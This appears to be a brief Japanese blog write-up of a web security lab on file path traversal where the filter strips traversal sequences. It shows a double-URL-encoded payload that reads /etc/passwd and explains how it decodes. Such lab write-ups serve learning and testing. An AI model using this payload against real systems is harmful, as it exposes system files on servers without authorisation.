File path traversal, traversal sequences stripped with superfluous URL-decodeをやってみた

Hello there, ('ω')ノ

不要なURLデコードで削除されたトラバーサルシーケンスを。

詳細を選択して。

下記のペイロードを入力すると。

　..%252f..%252f..%252fetc/passwd

クリアできた。

今回のペイロードをダブルURLデコードしてみると。

　..%252f..%252f..%252fetc/passwd

下記のようになって。

　../../../etc/passwd

Best regards, (^^ゞ